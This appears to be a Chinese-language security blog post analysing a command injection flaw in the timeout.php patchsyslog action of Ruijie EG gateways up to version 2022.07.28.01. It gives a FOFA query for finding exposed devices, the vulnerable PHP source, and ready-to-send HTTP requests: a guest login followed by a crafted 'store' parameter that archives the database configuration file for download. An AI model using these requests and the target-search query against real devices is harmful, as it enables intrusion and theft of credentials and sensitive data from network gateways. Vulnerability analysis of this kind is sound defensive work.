锐捷-EWEB timeout.php 命令注入漏洞


漏洞简介

锐捷EG易网关是一款综合网关,由锐捷网络完全自主研发。它集成了先进的软硬件体系架构,配备了DPI深入分析引擎、行为分析/管理引擎,可以在保证网络出口高效转发的条件下,提供专业的流控功能、出色的URL过滤以及本地化的日志存储/审计服务。锐捷EG易网关 timeout.php 的 patchsyslogAction存在命令注入漏洞,攻击者可以利用该漏洞 压缩打包设备上任意文件或目录,造成设备源代码或敏感信息泄露。

影响版本

<=2022.07.28.01

fofa语法

title="锐捷网络-EWEB网管系统" || app="Ruijie-EG易网关" && body="/login.php?a=version"

漏洞分析

看下 timeout.php 关键业务 patchsyslogAction 逻辑的实现

// 获取post参数 
function p($str) {
    return isset($_POST[$str]) ? $_POST[$str] : false;
}
function patchsyslogAction(){
    $content = [];
    $commrm = "rm -f syslog.tar";
    $commtar = "tar cvf /tmp/html/syslog.tar /".p("store")."/syslog";
    exec(EscapeShellCmd($commrm), $content);
    exec(EscapeShellCmd($commtar), $content);
    $data = array("status" => true,
        "data" => $content);
    json_echo($data);
}

patchsyslogAction 接收一个 store 参数拼接进tar命令中,当中被打包文件的路径一部分,虽然有EscapeShellCmd函数过滤,不能执行完整的命令,但是不影响目录穿越打包文件啊,比如我们打包系统的数据库配置文件 tmp/html/mvc/config/pgsql.config.php

这套系统的PHP版本比较低(参考前一篇锐捷EWEB路由器 timeout.php 任意文件上传漏洞),如果低于php 5.3.29 可通过%00来截断后续的路径拼接,但是大部分还是 php 5.4 版本

不过这不是上传名保存路径里,是命令里面,我们只需要使用如 %20 %23 等空格类符号将tar的命令与后续的路径分隔开就可以实现打包任意目录或文件, 因此造成命令注入漏洞,可直接打包整站!

漏洞复现

获取cookie

POST /ddi/server/login.php HTTP/1.1
Host: ruijieweb.mrxn.net
Content-Type: application/x-www-form-urlencoded

username=guest&password=guest?

打包文件

POST /system_pi/timeout.php?a=patchsyslog HTTP/1.1
Host: ruijieweb.mrxn.net
Content-Type: application/x-www-form-urlencoded
Cookie: RUIJIEID=xxxxxxxxxxl855hve3xxxxxxxx
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

store=tmp/html/mvc/config/pgsql.config.php%20

访问压缩后的文件 syslog.tar

成功获取到数据库配置文件内容。


手机扫码阅读

用友NC pkevalset SQL注入漏洞

用友U8 Cloud console.loadRes.d 任意文件读取漏洞

评 论